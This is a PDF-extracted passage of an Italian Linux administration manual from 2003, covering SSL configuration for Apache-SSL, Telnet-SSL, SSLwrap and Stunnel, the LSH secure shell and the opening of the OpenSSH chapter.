Con queste due direttive, viene confermato l’ascolto sulla porta 80 e si aggiunge anche la porta443 necessaria per le comunicazioni SSL (cifrate).

# Set SSLVerifyClient to:# 0 if no certicate is required# 1 if the client may present a valid certificate# 2 if the client must present a valid certificate# 3 if the client may present a valid certificate but it is not required to# have a valid CASSLVerifyClient 0

Inizialmente, a meno che si pretenda di ottenere un certificato valido daiclienti, è bene disattivarela verifica deiclienti stessi, come si vede nell’esempio.

2Apache-SSL software libero con licenza speciale

Page 192: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

2176 Applicazioni che usano OpenSSL

SSLDisable

In generale conviene organizzare l’abilitazione della crittografica SSL attraverso la distinzionein domini virtuali (come verrà mostrato). Per questo, conviene disabilitare a livello globale lacrittografia SSL, riservandosi poi di abilitarla nei domini virtuali preferiti.

SSLCACertificatePath /etc/apache-sslSSLCertificateFile /etc/apache-ssl/apache.pem

Queste due direttive servono a definire la directory contenente i file dei certificati e il percor-so assoluto del file di certificazione del servizio, che in questo caso è‘ /etc/apache-ssl/

apache.pem ’ .

<VirtualHost localhost:443>SSLEnableDocumentRoot /home/httpd/html-ssl/

</VirtualHost>

<VirtualHost dinkel.brot.dg:443>SSLEnableDocumentRoot /home/httpd/html-ssl/

</VirtualHost>

Queste due definizioni di domini virtuali servono a stabilire che: accedendo localmente, uti-lizzando quindi il nomelocalhost , oppure accedendo dall’esterno utilizzando il nomedinkel.brot.dg , ma attraverso la porta 433, si entra in un dominio virtuale, dove il nomenon cambia, ma ladirectory iniziale corrisponde a‘ /home/httpd/html-ssl/ ’ . È all’internodi queste definizioni che viene abilitata la comunicazione cifrata via SSL.

200.4.2 Accesso al servizio cifrato

Per accedere a un servizio HTTP-SSL in forma cifrata, è sufficiente indicare il protocollo HTTPS,ovvero,https:// . La cosa riguarda tutti iclienti che siano compatibili con questo protocollo;esistono anche versioni diLynx eLinks, realizzate per questo scopo.

Se il cliente è in grado di tenere traccia delle informazioni sulla certificazione, si accorgerà chel’identità mostrata dalservente non è conosciuta. Si osservi la figura200.1che mostra quelloche potrebbe succedere quando si tenta per la prima volta di accedere al servizio HTTPS offertodall’elaboratoredinkel.brot.dg .

Page 193: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

Applicazioni che usano OpenSSL 2177

Figura 200.1. Avvertimento da parte di un navigatore nel momento in cui si tentadi accedere attraverso il protocollo HTTPS a un sito il cui certificato è firmato daun’autorità sconosciuta.

In effetti, il navigatore che si vede nella figura offre un’ottima opportunità per controllare che ilproprio certificato, per quanto non valido, sia realizzato correttamente.

200.5 Telnet-SSL

Esiste anche una versione diTelnet in grado di utilizzare il tunnel SSL.3 In generale non c’èalcun problema di configurazione, a parte la necessità di disporre di un certificato, completo dichiave privata in chiaro, rappresentato di solito dal file‘ telnetd.pem ’ , che dovrebbe esseregenerato automaticamente dal programma di installazione e inserito probabilmente nella direc-tory ‘ /etc/ssl/certs/ ’ . Eventualmente, questo file (e il collegamento simbolico relativo) puòessere ricostruito attraverso i comandi già visti all’inizio del capitolo.

Una volta installato il demone‘ in.telnetd ’ e il programmacliente ‘ telnet ’ nella versioneSSL, non serve altro. Al massimo, è il caso di verificare che ilcliente sia in grado di connettersicon un servizio SSL. Il modo migliore è quello di farlo attraverso un altro servizio basato su SSLdi cui si è già sicuri. L’esempio seguente mostra una connessione con unservente HTTPS, dalquale si preleva la pagina di ingresso al sito; si osservi in particolare l’uso dell’opzione‘ -z ssl ’per utilizzare espressamente il protocollo SSL:

$ telnet -z ssl dinkel.brot.dg https

GET / HTTP/1.0 [ Invio ]

3Telnet-SSL UCB BSD

Page 194: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

2178 Applicazioni che usano OpenSSL

[ Invio ]

HTTP/1.1 200 OKDate: Fri, 03 Dec 1999 16:42:41 GMTServer: Apache/1.3.3 Ben-SSL/1.29 (Unix) Debian/GNUConnection: closeContent-Type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN"><HTML>

<HEAD><TITLE>Index of /</TITLE>

</HEAD><BODY>

<H1>Index of /</H1>...</BODY></HTML>Connection closed by foreign host.

È interessante notare che la connessione TELNET cifrata via SSL può essere negoziata ancheattraverso la porta 23 normale. In alternativa, si può distinguere l’avvio delservente TELNET,nell’ambito della configurazione delsupervisore dei servizi di rete, in modo da usare o meno lacomunicazione cifrata. L’esempio seguente si riferisce aInetd, con il file‘ /etc/inetd.conf ’ :

telnet stream tcp nowait root /usr/sbin/tcpd /usr/sbin/in.telnetdtelnets stream tcp nowait root /usr/sbin/tcpd /usr/sbin/in.telnetd -z secure

200.6 SSLwrap

SSLwrap4 è un tunnel SSL/TLS che si inserisce al di sopra di servizi già esistenti che però nonsono in grado di gestire direttamente questa funzionalità. In altri termini si tratta di unproxy che,ricevendo connessioni attraverso le porte SSL/TLS, ripete le richieste ai servizi reali attraversole porte normali.

Figura 200.2. Principio di funzionamento di SSLwrap..---------. .---------.| Cliente | 1046 connessione HTTPS 443 | SSLwrap || HTTPS |- - - - - - - - - - - - - - - - | |‘---------’ ‘---------’

| 1053|| connessione| HTTP .----------.| 80 | Servente |‘- - - - - - - | HTTP |

‘----------’

La figura200.2mostra schematicamente un esempio di ciò che avviene. In particolare si vedel’uso delle porte, dove i numeri 1046 e 1053 sono solo un esempio di porte non privilegiate,utilizzate dinamicamente.

Da quanto espresso si dovrebbe intendere anche cheSSLwrap può funzionare in un elaboratoredistinto rispetto a quello che ospita i servizi per i quali è stato attivato. Naturalmente, nel tragittoche collegaSSLwrap al servizio reale, i dati viaggiano in chiaro.

Un effetto collaterale dell’utilizzo diSSLwrap sta nel fatto che i servizi reali si trovano a co-municare sempre con lo stessonodo, senza sapere da dove vengono realmente le richieste diconnessione e senza poter applicare alcuna politica di filtro.SSLwrap è in grado di funzionaresia attraverso il controllo delsupervisore dei servizi di rete, sia in modo indipendente; tuttavia,attraverso ilsupervisore dei servizi di rete e poi anche ilTCP wrapper è possibile attuare leconsuete politiche di filtro e di controllo degli accessi, anche attraverso il protocollo IDENT.

4SSLwrap GNU GPL

Page 195: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

Applicazioni che usano OpenSSL 2179

200.6.1 Avvio

SSLwrap si compone dell’eseguibile‘sslwrap ’ , che svolge il ruolo di demone, autonomo osottoposto al controllo delsupervisore dei servizi di rete.

sslwrap [ opzioni] -port porta-servizio-originale[ -accept porta-servizio-ssl]

Lo schema sintattico mostra in particolare l’uso obbligato dell’opzione‘ -port ’ , con la qualesi specifica la porta del servizio originale, a cui ridirigere le richieste che invece provengonodalla porta SSL corrispondente. Si vede anche che l’opzione‘ -accept ’ permette di stabilire ilnumero di porta SSL da utilizzare per attendere le richieste; porta che non va indicata se si operaattraverso il controllo delsupervisore dei servizi di rete (perché in tal caso i dati provengonodallostandard input).

In condizioni normali, si presume che il servizio standard sia collocato nello stessonodoin cui è in funzioneSSLwrap, per cui si intende implicitamente che si tratti di 127.0.0.1.Diversamente si deve utilizzare l’opzione‘ -addr ’ .

La tabella200.2elenca le opzioni più importanti della riga di comando di‘sslwrap ’ .

Tabella 200.2. Alcune opzioni della riga di comando di ‘sslwrap ’.

Opzione Descrizione-addr indirizzo-ip Indirizzo IP del servizio originale.-port porta Porta del servizio originale.-accept porta Porta SSL per ricevere le richieste.-verify Attiva la verifica del certificato della controparte.-Verify La controparte deve avere un certificato valido.-cert file Certificato in formato PEM.-key file Chiave privata in formato PEM (se non è già nel certificato).-without_pid Non crea il file contenente il numero del processo.

200.6.2 Utilizzo pratico

È probabile che la propria distribuzione sia organizzata in modo tale da configurare interattiva-mente il funzionamento diSSLwrap, aggiornando il file‘ /etc/inetd.conf ’ (nel caso si utilizziInetd comesupervisore dei servizi di rete), oppure predisponendo gliscript necessari nell’ambitodellaprocedura di inizializzazione del sistema. Tuttavia, vale la pena di vedere ugualmente cosasi dovrebbe fare intervenendo manualmente.

Qui si presume che si utilizzi un certificato unico, completo di chiave privata, corrispondente alfile ‘ /etc/ssl/certs/sslwrap.pem ’ .

Nel caso del funzionamento sotto il controllo delsupervisore dei servizi di rete, basta modificareil file ‘ /etc/inetd.conf ’ aggiungendo le righe seguenti, che qui appaiono tutte spezzate ametà per motivi tipografici:

https stream tcp nowait root /usr/sbin/tcpd ←→/usr/sbin/sslwrap -cert /etc/ssl/certs/sslwrap.pem -port 80 -without_pidssmtp stream tcp nowait root /usr/sbin/tcpd ←→/usr/sbin/sslwrap -cert /etc/ssl/certs/sslwrap.pem -port 25 -without_pidnntps stream tcp nowait root /usr/sbin/tcpd ←→/usr/sbin/sslwrap -cert /etc/ssl/certs/sslwrap.pem -port 119 -without_pid

Page 196: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

2180 Applicazioni che usano OpenSSL

telnets stream tcp nowait root /usr/sbin/tcpd ←→/usr/sbin/sslwrap -cert /etc/ssl/certs/sslwrap.pem -port 23 -without_pidimaps stream tcp nowait root /usr/sbin/tcpd ←→/usr/sbin/sslwrap -cert /etc/ssl/certs/sslwrap.pem -port 143 -without_pidircs stream tcp nowait root /usr/sbin/tcpd ←→/usr/sbin/sslwrap -cert /etc/ssl/certs/sslwrap.pem -port 194 -without_pidpop3s stream tcp nowait root /usr/sbin/tcpd ←→/usr/sbin/sslwrap -cert /etc/ssl/certs/sslwrap.pem -port 110 -without_pidftps-data stream tcp nowait root /usr/sbin/tcpd ←→/usr/sbin/sslwrap -cert /etc/ssl/certs/sslwrap.pem -port 20 -without_pidftps stream tcp nowait root /usr/sbin/tcpd ←→/usr/sbin/sslwrap -cert /etc/ssl/certs/sslwrap.pem -port 21 -without_pid

Naturalmente, non è necessario attivare tutti i presunti servizi SSL, eventualmente commentandole righe che non servono.5 Inoltre, nel caso che i servizi reali si trovino in un altro elaboratore, sipuò aggiungere l’opzione‘ -addr ’ , come già descritto.

Per utilizzare‘sslwrap ’ come demone autonomo, si può usare un comando simile a quelloseguente, che si riferisce al caso del protocollo HTTPS:

# sslwrap -cert /etc/ssl/certs/sslwrap.pem -port 80 -accept 443 &

Logicamente, questo e altri comandi simili per gli altri servizi SSL vanno messiconvenientemente in unoscript adatto allaprocedura di inizializzazione del sistema.

200.7 Stunnel

Stunnel6 è un tunnel SSL/TLS che si inserisce al di sopra di servizi già esistenti che però nonsono in grado di gestire direttamente questa funzionalità. Ma in aggiunta a quanto fa giàSSLw-rap, può essere usato anche per la funzionalità opposta, utilizzando uncliente che non è in gradodi gestire il protocollo SSL/TLS.

In particolare,Stunnel non può essere messo sotto il controllo delsupervisore dei servizi di rete,mentre può controllare i programmi che lo stessosupervisore dei servizi di rete gestisce.

200.7.1 Avvio

Stunnel si compone dell’eseguibile‘stunnel ’ , che svolge il ruolo di demone autonomo, in gradodi contattare un servizio già in ascolto di una porta TCP o di avviare un programma come fa ilsupervisore dei servizi di rete.

stunnel [ opzioni]Tabella 200.3. Alcune opzioni della riga di comando di ‘stunnel ’.

Opzione Descrizione

-cModalità «cliente»: il cliente si connette in chiaro e il serviziooriginale è SSL/TLS.

-T Proxy trasparente, quando il sistema lo consente.

-p file Certificato in formato PEM, che non si usa nella modalità«cliente».

-v [ 1| 2| 3] Attiva la verifica del certificato.

-v 1 Verifica il certificato della controparte se presente.

5Soprattutto nel caso di servizi che per loro natura non si lasciano gestire semplicemente in questo modo, comeavviene per il protocollo FTP.

6Stunnel GNU GPL

Page 197: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

Applicazioni che usano OpenSSL 2181

Opzione Descrizione

-v 2 Verifica il certificato della controparte.-v 3 Verifica la controparte con i certificati disponibili localmente.-a directory Directory contenente i certificati per la verifica‘ -v 3 ’ .-d porta Porta di ascolto per le richieste di connessione.

-l programma [ -- argomenti] Avvio di un programma compatibile con ilsupervisore deiservizi di rete.

-r [ indirizzo-ip: ] porta Servizio remoto da contattare.

200.7.2 Utilizzo pratico

Stunnel non ha una destinazione di utilizzo ben precisa, per cui occorre decidere prima cosafarne, quindi intervenire in modo appropriato nella configurazione del sistema. In generale, trat-tandosi di un demone che può funzionare solo in modo autonomo, non si deve intervenire nellaconfigurazione delsupervisore dei servizi di rete; al massimo si possono predisporre degliscriptper laprocedura di inizializzazione del sistema. Vengono mostrati alcuni esempi, tenendo contoche il certificato riferito alservente si trova nel file‘ /etc/ssl/certs/stunnel.pem ’ .

• # stunnel -p /etc/ssl/certs/stunnel.pem -d 443 -r 80

In questo caso, molto semplice, si avvia il demone in modo da dare al servizio HTTP localela possibilità di essere raggiunto attraverso il protocollo HTTPS. In pratica, il demone restain ascolto della porta locale 443, per connessioni SSL/TLS, funzionando comeproxy neiconfronti della porta locale 80, con la quale la comunicazione avviene in chiaro.

• # stunnel -p /etc/ssl/certs/stunnel.pem -d 443 -r 192.168.1.2:80

Come nell’esempio precedente, ma il servizio HTTP si trova in unnodo preciso,192.168.1.2, che si presume essere diverso da quello locale.

• # stunnel -c -d 80 -r 192.168.1.5:443

Il demone funziona in modalitàcliente in attesa di connessioni in chiaro attraverso la portalocale 80, mentre contatta per converso la porta 443, nelnodo 192.168.1.5, utilizzando inquesto caso la crittografia SSL/TLS.

• # stunnel -p /etc/ssl/certs/stunnel.pem -d 993 ←→-l /usr/sbin/imapd -- imapd

Il demone resta in ascolto della porta 993 (IMAPS) e utilizza lostandard output per comu-nicare con una copia di‘ imapd ’ , in chiaro. Si osservi la necessità di ripetere il nome deldemone‘ imapd ’ come primo argomento dello stesso.

• # stunnel -p /etc/ssl/certs/stunnel.pem -d 993 ←→-l /usr/sbin/tcpd -- /usr/sbin/imapd

Come nell’esempio precedente, ma aggiungendo il controllo da parte delTCP wrapper.

Appunti di informatica libera 2003.01.01 ---Copyright© 2000-2003 Daniele Giacomini --daniele @ swlibero.org

Page 198: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

Capitolo 201LSHLSH 1 è un sistema di comunicazione cifrata che consente di sostituirsi alle funzionalità di unashell remota, quale‘ rsh ’ . Il suo sviluppo è nato dalla necessità di realizzare qualcosa di simile ecompatibile con il protocollo diSecure Shell (capitolo202), ovvero quello che qui viene chiamatoprotocollo SECSH, secondo lo spirito del software libero, anche alla luce della sua standardiz-zazione attraverso il lavoro diIETF SECSH Working Group, <http://www.ietf.org/html.charters/secsh-

charter.html>.

LSH si compone principalmente di quattro eseguibili essenziali:‘ lshd ’ , il demone che offre ilservizio; ‘ lsh ’ (oppure‘ lshc ’), il programmacliente; ‘ lsh-keygen ’ e ‘ lsh-writekey ’ , pergenerare e memorizzare le chiavi pubbliche e private.

Attualmente,LSH non prevede file di configurazione, per cui i programmi ricevono le opzioni difunzionamento esclusivamente attraverso la riga di comando.

Il nome di questo programma coincide con quello di unashell normale (per l’uso locale delsistema operativo). Per questa ragione, il programma eseguibile‘ lsh ’ , inteso come la partecliente della comunicazione, potrebbe avere un altro nome, per esempio‘ lshc ’ , onde evitareconflitti.

201.1 Attivazione del servizio LSH

Perché sia possibile attivare il servizio per ricevere connessioni secondo il protocollo SEC-SH, è necessario avviare il demone‘ lshd ’ , il quale però richiede una coppia di chiavi,privata e pubblica, che deve essere realizzata preventivamente attraverso‘ lsh-keygen ’ e‘ lsh-writekey ’ .

Supponendo di volere collocare i file della coppia di chiavi pubblica e privata nella directo-ry ‘ /etc/lsh/ ’ , si può agire come si vede nell’esempio seguente. In seguito verrà chiarito ilsignificato delle opzioni usate.

# lsh-keygen -l 8 | lsh-writekey /etc/lsh/lsh_host_key

In questo modo, usando unapipeline, si crea la coppia di file‘ /etc/lsh/lsh_host_key ’ e‘ /etc/lsh/lsh_host_key.pub ’ . Il primo dei due contiene la chiave privata, mentre il secondocontiene la chiave pubblica. Dato lo scopo, la chiave privata non è protetta da unaparola d’ordine,dal momento che il servizio deve essere reso automaticamente. Naturalmente, il file della chiaveprivata deve avere soltanto i permessi indispensabili per permettere a‘ lshd ’ di accedervi.

Per avviare‘ lshd ’ , in qualità di demone, utilizzando la coppia di chiavi appena creata, sipotrebbe usare il comando seguente:

# lshd --daemonic -h /etc/lsh/lsh_host_key

In questo modo,‘ lshd ’ si disimpegna dallashell e si mette a funzionaresullo sfondo (l’opzione‘ --daemonic ’), utilizzando la coppia di chiavi contenuta nei file‘ /etc/lsh/lsh_host_key ’ e‘ /etc/lsh/lsh_host_key.pub ’ , utilizzando la porta predefinita per le connessioni con questotipo di protocollo.

A titolo di esempio, viene anche mostrato in che modo potrebbe essere organizzato unoscriptelementare per il controllo del servizioLSH, attraverso laprocedura di inizializzazione delsistema.

1LSH GNU GPL

2182

Page 199: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

LSH 2183

#!/bin/sh

test -f /usr/sbin/lshd || exit 0

case "$1" instart)

echo -n "Avvio del servizio LSH: "/usr/sbin/lshd --daemonic -h /etc/lsh/lsh_host_keyecho;;

stop)echo -n "Disattivazione del servizio LSH: "killall lshdecho;;

*)echo "Utilizzo: lshd start|stop "exit 1

esac

201.1.1 Gestione delle chiavi

‘ lsh-keygen ’ e ‘ lsh-writekey ’ , utilizzati come si vede nello schema sintattico seguente, per-mettono di generare e memorizzare una coppia di chiavi (privata e pubblica). Il nome del filefornito come argomento di‘ lsh-writekey ’ è quello della chiave privata, intendendo che lachiave pubblica abbia in più l’estensione‘ .pub ’ .

lsh-keygen [ opzioni] | lsh-writekey file_chiave_privata

‘ lsh-keygen ’ da solo, genera le informazioni necessarie a definire la coppia di chiavi emettendoun certificato SPKI attraverso lostandard output, da cui‘ lsh-writekey ’ estrapola poi i filenecessari. Segue la descrizione di alcune opzioni di‘ lsh-keygen ’ .

Opzione Descrizione

-a dsa

Questa opzione servirebbe a consentire la selezione di un al-goritmo particolare per la generazione della chiave. Attual-mente è disponibile soltanto l’algoritmo DSA, come si vededallo schema mostrato, che è ovviamente quello predefinito.

-l 0| 1| 2| 3| 4| 5| 6| 7| 8

Questa opzione permette di definire la dimensione della chia-ve utilizzata. L’argomento numerico permette di richiedere unminimo di 512 bit, attraverso lo zero, fino a un massimo di1024 bit, attraverso il numero otto. Se non si specifica questaopzione, la scelta predefinita corrisponde al livello numeroquattro, pari a 768 bit.

Seguono alcuni esempi.

• # lsh-keygen -l 8 | lsh-writekey /etc/lsh/lsh_host_key

Genera una coppia di chiavi: ‘ /etc/lsh/lsh_host_key ’ e ‘ /etc/lsh/

lsh_host_key.pub ’ . In particolare, viene richiesta la lunghezza di 1024 bit.

• # lsh-keygen | lsh-writekey

Genera una coppia di chiavi utilizzando le informazioni predefinite. In particolare,dovrebbe trattarsi dei file‘ /etc/lsh_host_key ’ e ‘ /etc/lsh_host_key.pub ’ .

Page 200: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

2184 LSH

201.1.2 Avvio del servente

‘ lshd ’ è il servente del servizioLSH. In linea di principio, si tratta di un programma che vieneavviato e fermato automaticamente dallaprocedura di inizializzazione del sistema, ma può essereusato anche da un utente comune, se in tal caso ci si limita a sfruttare porte TCP non privilegiate.

lshd [ opzioni]

Si può osservare che‘ lshd ’ non si mette a funzionaresullo sfondo in modo automatico; perquesto richiede espressamente l’opzione‘ --daemonic ’ . Inoltre, dal momento che non dispone(per ora) di un file di configurazione, tutto viene indicato attraverso la riga di comando.

Opzione Descrizione

--port porta | -p porta

Definisce una porta di ascolto diversa da quella predefinita perquesto tipo di protocollo.La porta predefinita è normalmente la numero 22, corrispon-dente alla denominazione convenzionale‘ssh ’ .

--daemonicRichiede esplicitamente il funzionamento come demone.Senza questa opzione,‘ lshd ’ rimane inprimo piano.

--interface interfacciaConsente di limitare l’ascolto all’interfaccia di rete indicata.In condizioni normali, l’ascolto è esteso a tutte le interfaccedisponibili.

-h file_chiave_privata

Consente di indicare esplicitamente la collocazione del filecontenente la chiave privata abbinata al servizio. Si inten-de che il file della chiave pubblica debba essere collocatonella stessa directory e contenere semplicemente l’estensione‘ .pub ’ .

--pid-file file

Permette di richiedere il controllo di un file contenente l’in-formazione sull’identità del processo relativo. Può essere utilequando si usa‘ lshd ’ nell’ambito di unoscript dellaprocedu-ra di inizializzazione del sistema. In generale, se il file esi-ste già, anche se in realtà il processo relativo non esiste più,‘ lshd ’ non si avvia.

--no-passwordDisabilita la possibilità di accedere attraverso l’uso di unaparola d’ordine.

--no-publickeyDisabilita il meccanismo di autenticazione basato sull’usodella chiave pubblica delcliente.

--root-loginConsente esplicitamente l’accesso all’utente‘ root ’ , cosa chedi solito è impedita.

Segue la descrizione di alcuni esempi.

• # lshd --daemonic -h /etc/lsh/lsh_host_key

Avvia ‘ lshd ’ come demone, utilizzando la chiave privata contenuta nel file‘ lsh_host_key ’ che si trova nella directory‘ /etc/lsh/ ’ .

• # lshd --daemonic -h /etc/lsh/lsh_host_key --port 4711

Come nell’esempio precedente, ma utilizzando la porta numero 4711.

• # lshd --daemonic -h /etc/lsh/lsh_host_key --root-login

Come nell’esempio precedente, utilizzando la porta normale e concedendo all’utente‘ root ’ di accedere.

Page 201: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

LSH 2185

201.2 Cliente del servizio LSH

Il collegamento a un servizioLSH avviene attraverso il programma‘ lsh ’ . Anche questo nonprevede alcun file di configurazione, per cui la serie di opzioni della riga di comando è moltolunga.

Prima che un utente possa utilizzare‘ lsh ’ è necessario che abbia predisposto la directory‘~/

.lsh/ ’ (a partire dalla propriadirectory personale), in cui devono essere presenti inizialmentei file ‘ identity ’ e ‘known_hosts ’ , anche se vuoti. Eventualmente, si può creare la propriacoppia di chiavi nel modo seguente:

$ lsh-keygen -l 8 | lsh-writekey ~/.lsh/identity

2

Inizialmente è possibile tentare una connessione con un servizio già avviato, più o meno nel modoseguente, dove si immagina di voler accedere alnododinkel.brot.dg con il nominativo‘ tizio ’ :

$ lsh --sloppy-host-authentication -l tizio dinkel.brot.dg

Dopo aver completato la connessione ed esserne usciti (probabilmente con un comando‘exit ’ ,a seconda dellashell), si può osservare che è stato creato un file aggiuntivo,‘~/.lsh/

captured_keys ’ , contenente la chiave pubblica delnodo remoto appena contattato. Si trattadi una cosa simile a quella seguente:

; ACL for host dinkel.brot.dgKDM6YWNsKDU6ZW50cnkoMTA6cHVibGljLWtleSgz...gtaG9zdGtleTk6bG9jYWxob3N0KSkpKQ==

Se ci si fida della connessione avvenuta, nel senso che si crede realmente che si tratti della chia-ve pubblica delnodo che si intendeva contattare, basta ricopiare queste due righe (la prima èun commento) nel file‘~/.lsh/known_hosts ’ per poter controllare in seguito la sua identi-tà. Infatti, l’opzione‘ --sloppy-host-authentication ’ era servita proprio per consentire laconnessione anche senza disporre di questa informazione; in seguito, per contattare lo stessonodo, non deve essere più usata.

201.2.1 Utilizzo del programma cliente

‘ lsh ’ è quindi il programmacliente per l’accesso a un servizioLSH.

lsh [ opzioni] host

lshc [ opzioni] host

In generale viene usato per attivare unashell, in modo da intervenire in un elaboratore remotopresso un’utenza di cui si dispone. In pratica, si tratta di unashell remota, con la quale è possibileanche limitarsi ad avviare dei comandi, il cui risultato si vuole elaborare localmente.

Opzione Descrizione

--port porta | -p portaPermette di specificare l’uso di una porta differente da quellapredefinita.

--host-db file_nodi_conosciutiPermette di indicare esplicitamente quale file contiene le in-formazioni suinodi conosciuti. In modo predefinito si trattadi ‘~/.lsh/known_hosts ’ .

2Tuttavia, allo stato attuale, manca la possibilità di realizzare un file‘~/.lsh/authorized_keys ’ , con il quale sirenderebbe disponibile effettivamente questa funzionalità.

Page 202: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

2186 LSH

Opzione Descrizione

--sloppy-host-authentication

Permette di ignorare il file deinodi conosciuti, rinuncian-do così alla possibilità di verificare l’identità delnodo re-moto. Tuttavia, in condizioni normali viene mostrata l’im-pronta digitale della chiave delnodo remoto, a cui segueuna richiesta di conferma esplicita. Se si accetta, la chiavepubblica delnodo remoto viene annotata nel file‘~/.lsh/

captured_keys ’ .

--strict-host-authentication

Si tratta dell’attivazione della modalità di funzionamento percui non si accettano connessioni se inodi remoti non so-no già conosciuti. Questo comportamento è quello normale,tanto che per aggirarlo è necessario usare l’opzione inversa‘ --sloppy-host-authentication ’ .

--capture-to fileConsente di indicare un file alternativo a‘~/.lsh/

captured_keys ’ per il salvataggio delle chiavi pubblichedeinodi remoti.

-l utente

Consente di indicare il nominativo con cui accedere pres-so il sistema remoto. Se non si usa questa opzione, si usaimplicitamente lo stesso nome usato nel sistema locale.

-E comando

Consente di indicare un comando da eseguire nel sistema re-moto, al termine del quale termina la connessione. Il comandopuò anche essere fornito alla fine, dopo l’indicazione delno-do remoto, come avviene nella migliore tradizione delleshellremote.

-q Riduce al minimo i messaggi e le domande.

-v Dà informazioni utili a comprendere come avviene laconnessione.

Segue la descrizione di alcuni esempi.

• $ lsh --sloppy-host-authentication ←→--capture-to ~/.lsh/known_hosts ←→-l tizio dinkel.brot.dg

Ci si connette presso ilnodo dinkel.brot.dg utilizzando il nominativo‘ tizio ’ ,memorizzando la chiave pubblica di quelnodo direttamente nel file‘~/.lsh/

known_hosts ’ .

• $ lsh -l tizio dinkel.brot.dg

Ci si connette presso ilnododinkel.brot.dg utilizzando il nominativo‘ tizio ’ , dispo-nendo già di un file‘~/.lsh/known_hosts ’ aggiornato in modo tale da poter identificareil nodo remoto.

• $ lsh -l tizio -E ls dinkel.brot.dg > prova

Crea localmente il file‘prova ’ contenente l’elenco della directory personale dell’utente‘ tizio ’ presso ilnododinkel.brot.dg .

• $ lsh -l tizio dinkel.brot.dg ls > prova

Esattamente come nell’esempio precedente, ma senza l’uso esplicito dell’opzione‘ -E ’ .

Page 203: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

LSH 2187

201.3 Riferimenti

• IETF SECSH Working Group

<http://www.ietf.org/html.charters/secsh- charter.html>

• Martin Hamilton,psst...

<http://www.net.lut.ac.uk/psst/>

Appunti di informatica libera 2003.01.01 ---Copyright© 2000-2003 Daniele Giacomini --daniele @ swlibero.org

Page 204: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

Capitolo 202OpenSSHSecure Shell, ovveroSSH, è software proprietario. All’inizio della sua storia, la sua licenza eradifferente, pur restando il problema dei diritti di brevetto su alcuni algoritmi crittografici utilizza-ti. Dai sorgenti originali diSecure Shell, quando si trattava ancora di un’edizione relativamente«libera», si sono sviluppati diversi lavori alternativi, in cui sono stati eliminati in particolare glialgoritmi crittografici più problematici da un punto di vista legale.

In questo capitolo si vuole descrivere in particolare il funzionamento diOpenSSH,1 che hamantenuto molte affinità con il software originale diSecure Shell.

202.1 Protocolli

OpenSSH può gestire due tipi diversi di protocolli SECSH, identificati come versione 1 e versione2. In generale si considera più sicura la versione 2, ma esistono ancora molti programmiclienteche sono in grado di comunicare solo con la prima versione.

L’utilizzo di una o dell’altra versione ha delle conseguenze nella configurazione e nel modo digenerare le chiavi; pertanto, si cercherà di richiamare l’attenzione a questo proposito.

202.2 Preparazione delle chiavi

La prima cosa da fare per attivare e utilizzareOpenSSH è la creazione della coppia di chiavipubblica e privata per ilservente, cosa che si ottiene con l’ausilio del programma‘ssh-keygen ’ .Queste chiavi vanno memorizzate normalmente nei file‘ /etc/ssh/ssh_host_key ’ e ‘ /etc/

ssh/ssh_host_key.pub ’ , dove in particolare la chiave privata (il primo dei due file) non deveessere protetto con unaparola d’ordine.

Dal momento che questa coppia di chiavi viene realizzata in modo diverso a seconda delprotocollo SECSH usato, può essere conveniente predisporre tre coppie di file:‘ /etc/

ssh/ssh_host_key [ .pub ] ’ per una coppia RSA adatta al protocollo 1;‘ /etc/ssh/

ssh_host_rsa_key [ .pub ] ’ e ‘ /etc/ssh/ssh_host_dsa_key [ .pub ] ’ per una coppiaRSA e DSA adatte al protocollo 2.

